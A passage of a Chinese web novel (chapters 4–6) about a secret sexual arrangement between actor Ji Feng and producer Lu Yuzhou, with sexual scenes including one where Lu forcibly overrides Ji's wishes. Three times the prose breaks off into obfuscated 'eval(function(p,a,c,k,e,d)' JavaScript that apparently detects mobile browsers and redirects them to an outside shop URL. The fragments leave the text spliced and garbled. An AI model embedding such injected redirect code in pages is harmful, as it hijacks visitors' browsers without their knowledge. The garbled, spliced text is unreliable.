几个小演员小鸡崽子一样靠着墙贴成一排,面前站着个盛气凌人的季沨,怎么看怎么像是做实了这句话。 第一次跟陆屿洲在非床上和非晚会的地方遇到就碰见这种事。 季沨轻轻地叹了口气。 陆屿洲的眉头微微蹙了起来。 这副表情落到其他人的眼中很像是不满的前兆,宁辛发挥毕生的演技,抖着身子红了眼眶,似乎是终于见到了救星:“……陆老师。” 昨天热搜还说季沨跟陆屿洲关系是能随时打起来的那种差劲。 陆屿洲肯定会帮他的吧?宁辛想。 肯定吧? 他叹气做什么?陆屿洲想。 出门时帮他整理好的领口,居然已经弄乱了,纽扣还多开了两颗,再往下恐怕就能露出昨晚的痕迹。 刚刚进门的时候就发现他拿个剧本跟小演员调情。 现在叹气,是因为遗憾好事被自己打断了吗? 4. 第四章 季沨在圈里风评确实一般。 人长得漂亮就会受到更多关注,更何况还是季沨这种格外漂亮的。 他本人撩起人来又是荤素不忌男女通杀,光是花边新闻就养活了不少营销号。 陆屿洲眉头渐深,整个屋子心思各异,所有人都在等着他开口,唯有季沨依旧风轻云淡。 他既然没有要跟陆屿洲吵架的意思,也没有要跟陆屿洲寒暄的想法,转身便出了房间:“走了莫莫。” “凳子带上,跟道具说不用再往这个房间送椅子了,就说我说的。” 季沨表面上看起来总是笑意盈盈,可他连公司和粉丝的态度都不甚在意,更遑论一个上了几次床的炮/友。 小助理拎着三明治的纸袋跑过来:“季老师,您的早饭。” “买个早点买这么晚,”季沨抬手将纸袋往垃圾桶里一扔,怒道,“没心情了还吃什么!” “化妆师呢?让他过来,”季沨大步往前走去,“做完造型再去见杨导。” 陆屿洲一言不发看完了全程,半张侧脸冷峻锋利,转身要走,宁辛突然大着胆子向前一步拦住:“陆老师,那个……” 陆屿洲脚步一停,拧眉道:“你是?” 有戏!宁辛是当即装出一副清纯小白莲的样子,试图从陆屿洲这里免除处罚:“那个,我跟季老师之前确实认识,今天我只是来试戏,我不知道他为……” “试戏演员的休息室为什么跟剧组工作安排在同一层?” 陆屿洲突然打断他,也不能说打断他,因为陆屿洲压根就没有要跟他对话的意思,而是转头对明文道:“陈业呢?剧组的预算花到哪里去了?” “好的陆哥,我等会儿就……” “现在去,”陆屿洲语气冰冷,“剧组出现泄密他来负责吗?” 刚刚快要挨在一起的小演员就是这个吗? 早上刚跟他从床上下来就能找到新目标? 陆屿洲手指插回口袋,不着痕迹地摩挲了下自己的腕骨:“让他现在去把下层酒店包了,等会儿季沨的戏试完,我不想再在这一层看到临时休息室。” 明文赶紧跟旁边的助理使眼色让他快去,同时为这个脸都吓白了的小演员默哀三分钟,以为是陆屿洲是看到季沨作妖才心情不好,于是附和道:“这个季沨果然跟网上说的一样哈,” “脾气差又爱耍大牌,还好我们没跟他炒CP,人家工作人员做错了什么,帮他买个早餐还要……” “他今天不吃早餐。” “什么?”旁边的陆屿洲冷不冒出一句,明文吓了一跳。 陆屿洲没有解释的意思,目光从垃圾桶里的纸袋扫过——三明治的盒子因为刚刚的丢掷而甩了出来,里面是空的。 嘴唇轻轻抿起,陆屿洲收回视线:“以后不要在我面前没有根据地说其他演员。” “走吧,杨导说,今天试戏在哪个房间来着?” * “在这边,右拐,5307。” 为了不再发生刚刚那样的事,这次的路是郁容亲自带的:“等会儿进去礼貌一点,我跟你一起,抽到不会的片段我来帮你提词。” “不用,”季沨说,“记不住台词还演什么戏。” 说罢,一把推开了房间的门: “导演好,我是季沨!” 他的声音清澈动听,直到后来剧组杀青,杨阶都依然记得季沨进门时的画面—— 阳光从开了一半的木门洒进来,旁边的窗台上放了一株蟹爪兰,季沨穿了件刺绣衬衫,长腿笔直身姿挺拔,暖黄色的光从他的肩头掠过,又一点点消退在阴影处,直到站定,才轻轻地弯了下嘴角。 他的脸很出色,是在人群能一眼望见的打眼的漂亮,即便是在杨阶从业生涯面过的无数演员里也是佼佼者,而那些人都没有如同季沨这种浑然天成的写意风流。 只那一个动作,杨阶忽然觉得自己心中的孤独又骄傲的帝王有了具象化的场景。 “小季来啦,”肖诚笑着介绍,“来来来,这是杨导。” “杨导好,”季沨笑着打了招呼,“你那部《如梦令》我特别喜欢。” 杨阶是这片子的总导演,年过四十,金象奖已经拿了两次,作为导演要求严格,为人也板正得一丝不苟,虽然心里对季沨的外表还算满意,面上却只是淡淡地一颔首。 季沨应酬完,又将目光转向肖诚:“肖导,好久不见啦。” 肖诚是片子的副导,也是选角导演,为了让季沨拿下这部戏,郁容没少在他身上下功夫。 季沨一一打着招呼:“陈导,幸会。” 陈业,片子的执行导演,主要复杂片场安排和统筹,看起来最琐碎但也最要打好关系,不然片场有的是糟心事儿。 三个导演都认识完毕,季沨终于将目光转向尾端低着头削铅笔的:“这位是……陆……陆屿、陆老师?!” 陆屿洲怎么会坐在这儿? 跟导演一起? 难得见季沨这么讶异失态,陆屿洲将画笔一放,望着他的目光带着几分审视的玩味。 不对,季沨眉心一跳! 三个导演已经分配完毕,这种电视剧就算是S级也足够了,况且陆屿洲一个模特转导演简直像是母猪学习上树。 那么他只能是…… 季沨的耳边响起郁容的话——“今天资方那边也会过来。” “哦,这是小陆,你们年轻人应该认识吧,”肖诚说,“他今天是代表万界过来,雅雅那边临时有事,以后就是小陆作为监制跟剧组对接了,”想起昨晚的热搜,肖诚提点道,“以后可以多交流一下。” 陆屿洲回国后和万界签的是股份合同,现在也算是万界娱乐持股5%的合伙人,他也没想到季沨说的试戏就是这部。 不过这倒也没什么,都在一个圈子里,因为工作遇上是迟早的事,更何况他和季沨早就有过约法三章,其中一条就是——在工作交叉的地方公事公办,没有任何的徇私和偏见。 “陆老师。” 季沨的语气很冷,十分严格地遵守了这一规定,在陆屿洲还没来得及回应时率先移开视线,原本含笑的眼睛收敛,甚至闪过一丝不易察觉的、深深的厌恶。 如果真要说的话,那一瞬的表情…… 陆屿洲凭借着几十次的床上经验分析——大概和自己跟季沨在浴室里解锁新体位一不小心手滑把他扔进浴缸里……还要严重许多倍。 可是这没道理,演员对资方都是巴结还来不及,季沨怎么会厌烦他? 虽然很不想将刚刚一瞥的身影跟自己有任何对比。 但是……季沨难不成真是找到了新欢? 手中的铅笔无意识地划在纸面上,等陆屿洲反应过来的时候,纸面上已经出现到了一道漂亮的身形。 这人身材比例极好,腰细背薄,双腿修长,雪白纸上可以看到肌肉拉出的张力,只可惜脸还没有填,只有耳垂处画了一只晃动的,戴着宝石的耳坠。 “杨导,那我现在开始?” 等陆屿洲意识到自己做了什么的时候,那边的季沨已经跟杨阶沟通好了试戏片段,开始表演了。 作为仅仅限于床上的关系,陆屿洲一直恪守原则,并没有关注季沨的其他信息。 所以他还是对季沨的演技抱了那么一丝好奇的。 直到……很抱歉,陆屿洲发现自己很难像赞誉季沨的脸蛋和身材那般去描述他的演技。 因为那确实有点差。 差到足够旁边的杨阶忽视了那点外表的惊艳,眉头紧锁,差到连推荐他来的肖诚都在这一刻止住了声。 角落的郁容狠狠拧起眉——怎么回事? 以往季沨的演技虽然算不上特别好,但演个偶像剧总归是够用的。 按理说这种提前给了片段的试戏不可能会出现这样的效果。 除非是季沨自己…… 不,不可能,他有什么理由不拍这部戏,郁容想起二人第一次相见的场景……那件事对任何明星来说都是死穴,季沨不可能离开华图,也不可能会故意错过这个S级的大制作正剧! 所有人心思各异,整个房间里最淡定的反而当事人季沨,确认已经表演完毕,便施施然一躬身,一副风轻云淡的模样:“谢谢杨导,那我就先走啦。” 房门被关上,剧本被杨阶砰得一声摔在桌上:“都说了不要流量!你找的这是……” “消消气消消气,老杨,”肖诚立刻上前安抚,“孩子还小,都可以慢慢教的嘛。” 他望了那边的陆屿洲一眼:“小陆怎么看,毕竟你是拿钱的那个嘛,你来说说?” 画笔平放在纸面上,笔尖点上耳垂,陆屿洲凝视着上面那幅人影:“我……” 嗡! 他拿起手机看了一眼——F:我在休息室等你。 “我听几位导演的就好。”三人只看到陆屿洲撂下这句话,便匆匆站起身,像是急着找老婆一样,拉开门就要走,“我有事先出去一下。” “哎,”肖诚试图拦住他,“等会儿还有另一个角色的试戏呢。” 没想到陆屿洲还挺听劝,听见他这话又回来了,这么好脾气的资方让肖诚很惊喜:“我就说嘛,小陆这个孩子还是挺上……” 肖诚一个“进”字还没说完,就看着陆屿洲抬手将刚刚掀开的那页画纸给撕了下来,一边折还一边礼貌地问道:“肖导,这张纸我可以带走吗?” * 陆屿洲一边往休息室的方向走,一边又拿出手机看了消息: “我在休息室等你。” 往常他们发这种类型的消息的时候,通常都是趁着闲暇做点那种事。 可是今天早上分明刚刚才……季沨已经这么按捺不住了吗? 还是说,因为想要跟他解释今天的事? 其实倒也没有必要这么正式,毕竟他们也只是床上关系,陆屿洲这个时候又大度地想。 彼此之间见什么人,跟什么人暧昧,并不需要跟另一个汇报。 季沨现在这样,倒好像把他们本来纯洁的关系弄得有些不纯洁了。 纸张压成平整的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“算了,不重要。”季沨说,陆屿洲没想到自己原本打算说的约法三章居然会被季沨抢先,而且还是另外一条: “之前说过的,如果其中一方想要终止关系,可以随时提出,另一方无条件同意。” 是,他们是这样说过。 他们之间有没有任何利益和财产分割,更没有情侣的感情纠纷,甚至连聊天也只是没有名字的一个字母,出了这扇门就能形同陌路。 这不算什么,不过一个床伴而已,季沨就算是真的看上其他人又能怎么样,陆屿洲知道自己应该痛快点头答应,但是—— “为什么?” “不是你的问题,不要多想。” 季沨的语气可以称得上是温柔:“你身材很好,那方面的能力也不错,一直以来都让我很享受。” “是我自己的原因,”季沨闭了下眼睛,陆屿洲在他的脸里看到了和刚刚一模一样的厌恶,他终于意识到这并不是因为他,而是简单的某个词,季沨侧过头看了眼窗台上养的一盆文心兰,长睫低垂,一字一句道:“我不跟资方上床。” 这话说起来半真半假,眼中的厌恶是真的,不上床却是有限定词的。 毕竟他只跟陆屿洲一个人滚过床单,这个身份当然会随着陆屿洲的身份而变动。 但是……季沨注视着陆屿洲那张冷淡俊逸的脸,猎人的狩猎等了半年,也到了该收网的时候了。 身份,是个很好的借口。 陆屿洲的嘴唇动了动:“可是我……” “我知道你不是,”季沨道,“我说了,这是我自己的原因。” “只是结束一段床上的关系,这对我们双方应该没有什么影响,”季沨的眼神堪称平静,他似乎永远都能这样挑动周围人的心弦自己却风轻云淡,温柔又客气地询问,“对吧,陆老师?” 陆屿洲琥珀色的眼睛深深地注视着他,好半晌,才淡淡道:“嗯。” “好。” 季沨弯起眼睛笑起来:“联系方式我回头会删了,祝你前程似锦,陆老师。” “下次可以约个更好的。” 陆屿洲没有回应他的祝福,但季沨是个优秀的棋手,但凡下出去就不会悔棋。 于是他没有再看陆屿洲一眼,眼眸一垂跳下窗台,与他擦身而过,手指搭在门把手上,正要拧开—— 腕骨吃痛,一人扯着他的手腕,咔嚓一声锁上了门,季沨整个人被拦腰抱起压在了沙发上。 季沨的脸埋在陆屿洲的肩头,唇角微微勾了下。 可开口的声音却带着抗拒的羞怒:“陆屿洲!” 这种拒绝的动作显然让对方的情绪更加波动,陆屿洲紧紧地扣着季沨的手腕,第一次在这种时候枉顾他的意愿。 衬衫纽扣瞬间崩落在地上,响起的电话被按了关机,陆屿洲一只手箍着季沨的腰身,手掌几乎要嵌进他的骨骼,那冷淡的琥珀色眼睛里终于带上偏执的强势:“东西还在里面,要走的话,怎么也得取出来吧,” “季老师?” 5. 第五章 妈的,季沨走了两步,又扶着墙深深地喘了两口气。 一个分/手/炮而已,需要打得这么情真意切吗?狗崽子果然是狗崽子。 季沨忍着后面传来的阵痛,摸出手机给莫可发消息:“不去停车场了,直接让司机来外面接我。” “沨哥,这里!” 莫可来得很快,不一会儿就朝着季沨挥手,见到季沨出来立马撑伞举到他的头顶。 季沨看了一眼:“郁容呢?” “郁哥……郁哥他先回公司了。” 事实上原话是“他演成这个样子不就是为了给我找麻烦吗,你知不知道我要为此多多少应酬?!” 但是……莫可看了眼季沨现在一副受过折磨后的虚弱样子,总觉得他比气冲冲的郁容要值得怜惜一点:“你还好吧季哥?” “演员嘛,肯定是有擅长的角色有不擅长的,季哥你别伤心了,放平心态,不要对自己要求太严格了。” 季沨:…… 季沨:“你说得对。” “跟郁容说,明天的通告推一推,晚上我要去‘陌路’。” “酒吧?”莫可瞪大眼睛,“沨哥你……” “我伤心嘛,”季沨顶着一张刚刚经过情欲的脸,微笑时还能看到眼尾的红,“去借酒消愁啊宝贝儿。” * “欢迎光临‘陌路’Club,先生您好,请出示一下您的会员证明和预约。” “一个破酒吧还需要预约?!”黄毛指着前面路过的那人,“那他是怎么进去的!” 黄毛指的那人穿了一身紫色的丝绸衬衫,下摆收进低腰牛仔裤里,偏长的头发垂在肩头,酒吧的灯带打在他身上像是舞台上的荧光。 “那是我们老板的朋友,”礼宾不着痕迹挡住他的视线,“没有预约的话就请回吧,先生。” 黄毛气冲冲地往回走,台阶下了一半,又鬼使神差地回头看了一眼。 那人碰巧微微回了下头,那是一张远比镜头里还要惊艳的容颜,黄毛瞪大眼睛—— “季、季沨?!” * “哥!”酒吧里,穿着铆钉牛仔的外套的男生招了招手,“这里!” “嘉嘉!”见到来人,季沨终于露出这几天里,唯一一个真心实意的笑容,漂亮面孔都仿佛染了光,张开手臂跟他轻轻抱了一下,“好久不见。” “什么好久不见,我一直在这儿,分明是你个大忙人!这回来了刚好,给你尝尝我的新品。” 阮嘉,Butland的舞担,高中毕业就过来当练习生,队里年纪最小,季沨作为队长,一直很照顾他。 后来因伤退役,在这里开了个酒吧,没跟其他酒吧街的竞争,而是独辟蹊径走了会员预约制,来这里都是海市有头有脸的人物。 酒吧叫做“陌路”,就是取了“相逢陌路应不识”的意思,不管之前是什么恩怨,来这里的就当不认识,甚至可以自由佩戴面具,不会有任何拍摄工具,最大限度地保证了这些客人的隐私。 凭借着之前在Butland积累的人脉,这间酒吧很快小有起色,至少季沨今天来的时候连个卡座都没混上,只能跟着酒保坐吧台。 “什么啊,不要污蔑我好不好,”阮嘉说,“你的私人包厢一直在后面,不是你自己说坐吧台方便看帅哥的吗?” 阮嘉推了杯鸡尾酒过去:“先尝一尝萨泽拉克。” “帅哥啊……”季沨揉了揉自己还有些发红的腕骨,脑中浮现出陆屿洲的模样,和他压在自己身上时疯狂糜乱的样子,轻声道,“太凶了也不好。” “什么?” “没什么,”季沨的手指抚上冰冷的杯身,换了个话题,“对了,我见到宁辛了。” 阮嘉拿酒瓶的动作一顿,反应了会儿才想起来季沨说的是谁:“他?当初出事的时候,我们不是都套麻袋打过一遍了吗?” 此言一出,季沨和阮嘉都笑了起来,阮嘉回过头:“你不会又动手了吧哥?” “没有,让他站着等了一天而已。” “其实我当年……”阮嘉深吸口气,“医生说,那场戏只是个引子,根本原因还是之前过度训练留下了病根。” “可我训练了那么久也没个名堂,有时候想想这可能就是命吧,我现在已经开看了,”阮嘉拿起杯子跟季沨碰了一个,“可能我就是没有成名的那个命,再说了,现在不是也挺好的。” “倒是你,哥,以后还是注意一点,不要给自己拉那么多仇恨,这个圈子,万一有一天出点什么事儿,指不定谁都来踩一脚。” 季沨仰头喝了一口酒,满不在意往后一靠:“这圈子,难道我做个圣父,他们就能不等着踩我一脚吗?” “再说了,别自作多情,也不是全是因为你,”季沨说,“主要原因呢,是他骂了我。” “卧槽他骂你?”阮嘉当场把杯子一放,袖子一挽就要动手,“这孙子骂你什么?!” “骂我跟肖导……” 季沨的话还没说完,吧台对面忽然坐过来一个人,端了一杯龙舌兰日出,笑容甜美:“哥哥,我可以请你喝杯酒吗?” 从这家酒吧开业,季沨每回来都喜欢坐在吧台猎艳,但是猎了这么久也没见他主动出手领回去过,倒是来搭讪的人一茬多过一茬。 阮嘉抱着看戏的态度往角落里站了站,细数这位编号四百零一的伤心者。 人长得倒是挺乖的,来酒吧还穿了件白色卫衣,睫毛长长,眼神清澈,看起来跟个高中生似的。 “请我喝酒,”季沨微一挑眉,“成年了吗弟弟?” “当然啦,”高中生眨眼笑了下,宽大的领口露出白皙锁骨,“要看看我的身份证吗哥哥?” “哦?”季沨似乎来了点兴趣,身体前倾,贴着杯身的手指轻轻摩挲,“怎么看啊?” 他那过分张扬的容颜就是个巨大的杀气,淡紫色的衬衫让露出的胸膛都白得发光,高中生微微偏过头,脸颊发红:“季、季哥。” “认识我啊?” 高中生仰起头,看着季沨脸上淡淡的笑意,咬了咬下唇,眼神纯情又清澈:“嗯……我喜欢你。” “那个,那个,我是说,我是你的粉丝,他们说这家店的老板是你之前的队友,我才过来的。” “我没有别的意思。”他说得惶恐又真诚,仰头的姿势足可以激发任何一个男人的保护欲,“我只是想……” “只是想请我喝杯酒?” 这个任何里显然不包括季沨,酒杯在手中晃了晃,淡笑道:“不好意思,这里老板是我朋友,所以……” “我喝酒是免费的。” “还有,”季沨望向他的目光带了几分审视,“你既然是我的粉丝,就应该知道,我两年前在机场就已经公布了性取向,爱好男,而且——” 季沨顿了一下,说:“是下面那个。” 他懒洋洋道:“撞号了啊,小朋友。” 那“高中生”一愣,季沨却端起杯子跟他碰了一下,将那杯萨泽拉克一饮而尽,随后道:“既然喜欢演这一挂,这杯酒还是我请你吧,免得有人说我朋友的酒吧卖酒给未……” “成年”两个字还没说出口,季沨不知道看到了什么,看戏的阮嘉就发现这个面对几百次搭讪都八风不动游刃有余的人,忽然一闪身进了包厢。 “高中生”跟着他的视线回头望,一眼就锁定了门口进来的那人。 穿了一身黑色廓形风衣,身姿挺拔,双腿修长,看起来像是来巡视酒吧的矜贵公子,那人微微转头,露出半张雕塑般锋利流畅的侧脸和一双琥珀色的,深邃的眼睛。 * “卧槽!谁啊?” 阮嘉跟着季沨进了房间:“之前你说坐前台猎艳不会是真的吧,猎到了?” 季沨仔细想了想:“算是吧。” “那你进包厢干什么,出去见见啊?” 季沨轻轻摇头,脸上是阮嘉看不懂的,运筹帷幄又高深莫测的笑容:“还不是时候。” “见到了还不出手,”阮嘉看他一眼,“不符合你的风格啊哥。” “倒也不是……”季沨说,“只是……出了一点意外。” “意外?” “我们对关系的定义可能不太一样……” 季沨说着笑了下,右耳的耳钉在灯光下闪闪发亮:“不过……应该很快就会好了。” 手机亮了一下,是莫可发来的消息,询问他杂志封面的事。 季沨的目光在摄影师那里扫了一眼……旋即勾起唇,回复:“这两天不行,帮我把日期延后一点。” “大概……十天后吧。” “来酒吧还忙工作。”阮嘉从侍者手里接过托盘,“就不能休息会儿吗?” “这可不是工作。” 季沨撂下这句高深莫测的话,却也要跟阮嘉多聊这个话题的意思,下巴一抬:“你手里这是什么?” “哦,这个啊,这就是我跟你说的新品啊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223173|139401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>阮嘉将托盘往桌上一放:“它叫——” “白日梦我。” * “‘陌路’特调‘白日梦我’,用白兰地做底,加入苦艾酒、方糖和柠檬……让人从酸涩苦楚中品出一丝甜味儿,恰似思念的味道。” 郝景将酒杯放在桌上,洋洋洒洒发表完自己的见解,才发现同伴压根没听,当即大怒:“陆屿洲!陆、屿、洲——你干嘛呢!” 陆屿洲这才回过神,收回望向吧台的视线——真是疯了,他居然会觉得刚刚看到的背影很像季沨。 想他做什么,不过只是一个床伴而已,分了就分了,季沨现在说不定都已经找了新人在哪折腾,干嘛要惦记? “陆老师!”有人端着酒杯过来,长相酷似高中生,穿了一身白色卫衣,眼神清澈语气纯洁,“我终于见到你了,那个……我是你的粉……” “不签名不合照,别吵。” 心情不好冲他发什么脾气啊,傻逼! 那高中生——刚刚搭讪过季沨的‘高中生’翻了个巨大的白眼,不聊天干嘛坐卡座,态度跟季沨比真是差远了,退一万步讲,季沨真的不能做1吗? ‘高中生’在心里暗骂一声,扭头走了。 “你冲人家小粉丝发什么火啊,”郝景也说,“看起来高中还没毕业呢,这小可怜见儿的。” 郝景是业内知名的摄影师,在法国留学的时候就跟陆屿洲认识,讲话也不客气:“我看你就是缺少性生活的滋润,以前叫你晚上都没空,今天难得出来,”他一挥手,“看看有没有喜欢的,去试试?” 陆屿洲顺着郝景的目光看了一眼,酒吧里的男男女女都穿着精致面容艳丽,舞动的身体像是姣好明媚,他抓着桌上的酒喝了一口,苦涩的前调沁入喉腔:“没空。” “别担心,”郝景以为他是有顾虑,“这个酒吧基本是来找一夜情的,相逢陌路,下了床就不会认识,断得最是一干二净了。” 陆屿洲猛地抬起了头。 不知道是不是酒吧空调开得太低,郝景居然在陆屿洲的这个眼神里赶紧到了一丝的……冷意。 还没等他看清那个眼神中的情绪,陆屿洲便端起酒杯将剩下的酒液灌了进去,随后又要了一杯。 意蕴丰富的“白日梦我”被陆屿洲这样牛嚼牡丹地灌了一杯又一杯,看着样子,不像是来艳遇的,也不像是出来玩的,倒更像是…… 郝景匪夷所思:“你不会是失恋了过来借酒消愁吧?” 陆屿洲的风衣搭在椅背上,卷起的袖口露出精壮的小臂,闻言一顿,冷冷道:“我没有谈过恋爱。” 跟季沨怎么能算是谈恋爱? 不过是上过几十次床罢了,即便是他们偶尔会坐在一起心平气和地吃个早餐,为对方挑选衣服,接受季沨总是一时兴起扔过来的领针领夹领带纽扣…… 但是这怎么能算是谈恋爱? 陆屿洲回到家,在等电梯的过程中刷了下手机。 字母为F的好友刚发了一条朋友圈。 也许是那天走的时候过于气愤,季沨并没有像之前说的那样立刻把他删除,于是陆屿洲还是能看到—— F:【白日梦我】 配图是陆屿洲刚刚在酒吧里见到的,郝景说过“陌路”特供酒,白底泛蓝的酒液在包厢的灯光里显得分外漂亮。 他没有看错,那个人……真的是季沨。 “别担心,这个酒吧基本是来找一夜情的。” 手机狠狠地攥在掌心,骨节生响,砰得一声被人砸在了沙发上。 修长的手指解开领带,陆屿洲深深地吸了口气。 这没有什么,他们已经宣告结束了。 这种关系对两个人造不成任何影响,结束之后,他们会继续回到自己原有的轨道上,季沨去找他新的…… 而自己,二十三年都这么过来了,没道理忽然因为这半年就食髓知味。 不过是回到以前的生活罢了。 没遇到他之前,这种事……不也是可以解决的吗? 浴室的花洒打开,陆屿洲靠着墙壁,骨节分明的手掌试图动作,修长的脖颈微微发红。 可是内心的,无法被抚平的焦躁却在这个时候更加分明起来,花洒像是一场永不停止的,泛着热气的雨,越是潮湿就越是难耐,而声音渐熄之时,陆屿洲想起的居然是最后的那天晚上,季沨双腿勾着他的腰,汗水打湿的长发搁在他的颈侧,嗓音沙哑又魅惑—— “一起吧?” 6. 第六章 陆屿洲裹着浴袍出了门,头发还有些湿,敞开的胸膛是浓郁的荷尔蒙气息。 只是心情看起来不怎么好。 这种事对男人来说本该是开心的。 如果不是因为最后…… 陆屿洲来到吧台边给自己倒了杯酒,晃动的鲜红酒液在灯光下呈现出迷醉的色彩,很像是某人带来的感觉,陆屿洲垂眸看着屏幕里那杯“白日梦我”,滑出去,手指试图点在删除键上—— 嗡嗡嗡! 一个视频猝不及防打了过来。 备注名叫Jessica,陆屿洲按了接听,一张漂亮妩媚的脸蛋出现在屏幕上:“Hi,bunny!很高兴你现在还没睡,看你现在的样子,是有什么小可爱在家里留宿了吗?” “杰西卡,”陆屿洲冷漠地说,“现在是北京时间凌晨两点,我今天能接到电话并不意味着我每天都会在这个时间醒着,也不意味着你可以拿一个无聊的话题打扰我的睡眠。” “亲爱的,你现在的脸色简直跟失恋被甩了一样宝贝儿,不过还是允许我通知你,”杰西卡晃了晃手上的戒指,“我要结婚了!” “哦,”陆屿洲看起来没有任何情绪的波动,“你什么时候离的婚?” “上个月……还是上上个月来着?” 杰西卡想了想:“不重要,我现在的未婚夫是个意大利人,体力很好,你知道的,床上的契合是婚礼成功的关键,我觉得我们非常合拍!” “恭喜你,”陆屿洲面无表情,“虽然这是你五年内的第十一次婚姻,我还是会把结婚礼物寄给你的。” “谢谢,我们打算去冰岛度蜜月,需要我带点condom给你吗?” Condom并不罕见,但是冰岛的套设计得很有特点,纸片人躺着,一个爱心装的火山从人体正中央喷涌而出,十分具有行为艺术气息,偏偏当地旅游局还要往上写上一个“Enjoy Our Nature”。 陆屿洲扶了扶额头:“……不用了。” “不用害羞Bunny,你小时候不是还拿这个当明信片摆在书架上吗?”杰西卡目光遗憾,“你要知道,我跟你父亲给你这张脸不是为了让你在深夜自娱自乐的。” “你也是时候体验一下双人生活了,最近有遇到什么喜欢的人吗?” 陆屿洲的手指停在屏幕上,季沨的头像是一束鸢尾花,抱着花的手指修长漂亮,无数次的经验让陆屿洲一眼看出那是季沨自己的,腕骨处带了一只手表,几年前的款式,表盘对季沨来说其实有点过大了。 这照片应该也是几年前拍的,是谁送的他花?又是谁将手表戴在他的手腕上呢? “……没有。”陆屿洲仰头喝了口酒。 “好吧,”杰西卡叹了口气,“不过我还是会祝福你的Bunny,你要知道,处男这两个字只有在男人18的时候最有吸引力,此后就会开始随时间递减,作为我的孩子,我实在不想听到你三十的时候被人叫做老处男。” “谢谢,作为你的孩子,我也不想三十岁的时候还要去参加母亲的婚礼。” “放心,如果你到时候还没有男伴的话我一定不允许你出席,”杰西卡耸了耸肩,“说起这个,你父亲最近跟你联系了吗?” “三个月前说他要去非洲的原始森林考察,问我想不想跟他一起住在猴面包树里。” “好吧,”杰西卡露出一言难尽的神情,顺带又一次感叹自己离婚的英明,“下次记得提醒他注意安全,我可不想在我的婚礼上听到要去ICU给他签字的消息。” 杰西卡是个浑身浪漫主义的画家,陆屿洲的父亲却是OldMoney家庭里生出来的叛逆者,不是要去极地体验生活就是忙着为各种主义到处奔波,年轻的时候也曾有过理想契合的时刻,可直到一时兴起生了陆屿洲才发现,他们竟然没有人适合生活。 事到如今,陆屿洲对父母之间的感情已经不抱任何期待,杰西卡挂断电话,陆屿洲坐在吧台边,一口一口地将那杯红酒给喝掉了。 随后,才将目光落在旁边的一个挂历上。 万年历是他那位住猴面包树的父亲某次去佛罗伦萨带回来的伴手礼,红色的城堡背景上是一格一格的日期,不过平均每三天,就会被红色水彩笔涂上一格。 与其说是和季沨相见的频率,不如说是他需要做某种事的日期。 城堡的穹顶上有一行流畅的黑色笔迹,高高地凌驾于所有时间的格子之上: “爱是一个时期为了粉饰性/欲而想象出来的东西。” 陆屿洲盯了一会儿,拿起红色水笔,将今天用同样的方式涂上。随后却换了个颜色,在第二天打了个大大的叉。 叉号横亘在城堡的玻璃位置,像是一扇被封死的窗。 说得对,陆屿洲想,爱是这个世界上最虚无缥缈最不稳定的东西,只有性才是人类永恒的欲/望。 它最长久,最轻易,当然……也最容易戒断。 * 城堡封到第十扇窗,陆屿洲坐在落地窗前,将手中废弃的第十张设计图扔进垃圾桶里。 今天是他和季沨解除关系的第十二天。 陆屿洲坚信自己表现出的一切不过习惯被推翻的戒断反应。 养成习惯需要二十一天,打破一个习惯也是。 他现在已经做得很好……不会再过度关注某个人的朋友圈,不会再深夜睡不着时盯着某个人的头像,不会在街上看到某个人的广告而条件反射性地移开眼睛。 当然,陆屿洲拒绝承认,前两条是因为朋友圈变成一条横杠是才发觉季沨好像把他删了,而且他已经九天没有出过门。 就像他也拒绝承认,一件衣服的设计稿画着画着不是喜欢给模特多加一个装饰耳钉就是喜欢把头发画长。 手上扔的第十一张不是。 这张是腰太细了。 陆屿洲看着已经被塞满的垃圾桶,沉默片刻,拿出手机来给郝景发消息:“在哪儿,出来玩吗?” “卧槽你终于走出失恋阴影了?!”郝景隔了五分钟才回,但是语气雀跃,“我在拍片呢,我跟你说,今天拍的这个明星真是绝了!表现力爆棚,关键是人长得也他妈巨带劲,这种人对摄影师来说简直是拯救我的缪斯,而且他还是……” 陆屿洲并没有耐心听完郝景的工作心得,打断道:“还有多久结束?给个定位,我去找你。” “在收尾了,应该还剩半个小时。”郝景得寸进尺,“你来的话,能不能开你那辆迈凯伦?好久没摸到了,咱们去兜兜风!” 陆屿洲已经准备出门,临到门口只好又换了个钥匙,他对车没什么执念,买这辆只是因为——外形好看。 纯白的迈克伦塞纳在高架桥上嗡鸣,陆屿洲一只手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆屿洲手指插进风衣口袋里,站在楼下默不作声地看着这一幕,拇指扣住食指指节,克制地压了压。 “季哥!” 莫可小跑过来,给季沨递过毛巾,又将西装披在他的肩头:“摄影说片子差不多了,咱们走吧。” 季沨点点头,跟着莫可往外走,那条解开的领巾被他随手搭在栏杆上,随风微微晃荡。 “卧槽今天的片子简直是我今年最有灵感的,这次杂志封面肯定稳了!”郝景抱着相机小跑出来,发出了酒吧一模一样的质问,“陆屿洲!陆、屿、洲——你看什么呢?!” 陆屿洲的视线盯着二楼的某一点,半晌,拇指松开,泄力的手腕摩擦过衣料,鬼使神差地开口道:“你拍摄的道具……能送我吗?” * 印花丝巾白中带着一点类似薄荷的浅绿,丝绸质地极软,系过脖颈地方的带着一点木质的冷香,现在却被人缠在手掌上,与浓郁的檀香混杂在一起。 浴室里水声清晰,潮湿又闷热的雨砸落在陆屿洲的肩头,可是这一次,他却像是终于找到了出口。 